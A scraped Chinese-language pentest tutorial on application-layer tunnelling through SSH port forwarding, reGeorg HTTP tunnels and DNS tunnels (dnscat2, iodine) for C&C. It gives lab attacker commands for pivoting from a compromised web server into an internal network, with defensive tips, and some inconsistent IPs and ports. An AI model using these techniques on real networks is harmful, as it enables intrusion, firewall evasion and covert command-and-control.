3

应用层隧道传输技术

 8 months ago
source link: https://joker-vip.github.io/2022/05/30/3.4%20%E5%BA%94%E7%94%A8%E5%B1%82%E9%9A%A7%E9%81%93%E6%8A%80%E6%9C%AF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

应用层隧道传输技术

应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。

1 SSH 协议

在内网中,几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

一个普通的SSH命令如下。

ssh [email protected]

创建SSH隧道的常用参数说明如下:

-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

1.1 本地转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、10.0.52.132
  • 内网主机(win2003):10.0.52.133

以Web服务器192.168.220.145为跳板,将内网主机192.168.52.133 的3389端口映射到kali攻击机192.168.220.165的4444端口,再访问kali攻击机的4444端口,就可以访问192.168.52.133的3389端口了。

kali攻击机上执行如下命令,会要求输人Web服务器( 跳板机)的密码。

ssh -CfNg -L 4444(VPS端口):10.0.52.133(目标主机):80(目标端口) [email protected](跳板机)

在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接

rdesktop 127.0.0.1:3307

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

1.2 远程转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、10.0.52.132
  • 内网主机(win2003):10.0.52.133

以Web服务器为跳板,将kali攻击机的3307端口的流量转发到内网主机的3389端口,然后访问kali攻击机的3307端口,就可以访问内网主机的3389端口了。

在Web服务器192.168.220.145上执行如下命令。

ssh -CfNg -R 3307(kali攻击机端口):10.0.52.133(目标主机):3389(目标端口) [email protected](kali攻击机ip)

在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接

rdesktop 127.0.0.1:3307

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

1.3 动态转发

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.140、10.0.52.137
  • 内网主机(win2003):10.0.52.133

在kali攻击机上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器的密码。

ssh -CfNg -D 7000 [email protected]

接下来,在本地打开浏览器,设置网络代理。通过浏览器访问内网域控制器10.0.52.133

输人如下命令,查看本地7000端口是否已经连接。

netstat -tulnp 1 grep ": 7000"

动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

1.4 防御SSH隧道攻击的思路

SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。

2 HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter 、tunna
等。

reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

reGeorg 支持ASPX、PHP、JSP 等Web脚本,并特别提供了一个Tomeat5版本。

将脚本文件上传到目标服务器中,使用Kali Linux在本地访问远程服务器上的tunnel.jsp 文件。返回后,利用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。

输人如下命令,查看本地端口,可以发现9999端口已经开启了。

python reGeorgSocksProxy.py -u http://192.168.220.140:8080/tunnel.jsp -p 9999

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。

传统的Web服务器通常不会将本地的3389端口开放到公网,攻击者的暴力破解行为也很容易被传统的安全设备捕获。但是,如果使用HTTP隧道进行端口转发,不仅攻击者可以直接访问Web服务器的3389端口,而且暴力破解所产生的流量的特征也不明显。因此,在日常网络维护中,需要监控HTTP隧道的情况,及时发现问题。

3 DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。

一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。越来越多的研究证明,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器( Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植人C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

正常网络之间的通信,都是在两台机器之间建立TCP连接后进行的。在进行数据通信时:如果目标是IP地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后, C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序,让其受到控制。

内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断操作。这样一来,C&C通信就会被切断。于是,通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

在使用DNS隧道与外部进行通信时,从表面上看是没有接连外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。

3.1 查看DNS的连通性

首先,需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是要测试DNS的连通性。

输人如下命令,查询当前内部域名及IP地址。

cat /etc/resolv.conf|grep -v '#'

输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

nslookup ad.com

输人如下命令,查询能否通过内部DNS服务器解析外部域名。可以看到,能够通过内部DNS服务器解析外部域名,这意味着可以使用DNS隧道实现隐蔽通信。

nslookup baidu.com

3.2 dnscat2

dnscat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型( TXT、MX、CNAME、A. AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2 是一个命令与控制工具。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。

如果目标内网放行所有的DNS请求,dnscat2 会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以“dnscat”开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网中的请求仅限于白名单服务器或者特定的域, dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2 具有如下特点。

  • 支持多个会话。
  • 流量加密。
  • 使用密钥防止MiTM攻击。
  • 在内存中直接执行PowerShell脚本。
  • 隐蔽通信。

3.2.1 服务端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456 #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #--security 规定了安全级别;--no-cache 禁止缓存

3.2.2 客户端

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
dnscat --secret=123456 abc.com 
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456

具体的使用方法大家自己去看官方手册

3.3 iodine

碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为“iodine”

iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine 是基于C语言开发的,分为服务端程序iodined 和客户端程序iodine。Kali Linux内置了iodine 。

与同类工具相比,iodine 具有如下特点:

  • 不会对下行数据进行编码。
  • 支持多平台,包括Linux、 BSD、Mac OS、Windows。
  • 支持16个并发连接。
  • 支持强制密码机制。
  • 支持同网段隧道IP地址(不同于服务器一客户端网段)。
  • 支持多种DNS记录类型。
  • 提供了丰富的隧道质量检测措施。

iodine支持直接转发和中继两种模式,其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。

具体的使用方法大家自己去看官方手册

3.4 防御DNS隧道攻击的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
  • 虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务
  • 器/网关列人白名单并阻止传人和传出流量中的TXT请求。
  • 跟踪用户的DNS查询次数。如果达到阈值,就生成相应的报告。
  • 阻止ICMP。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK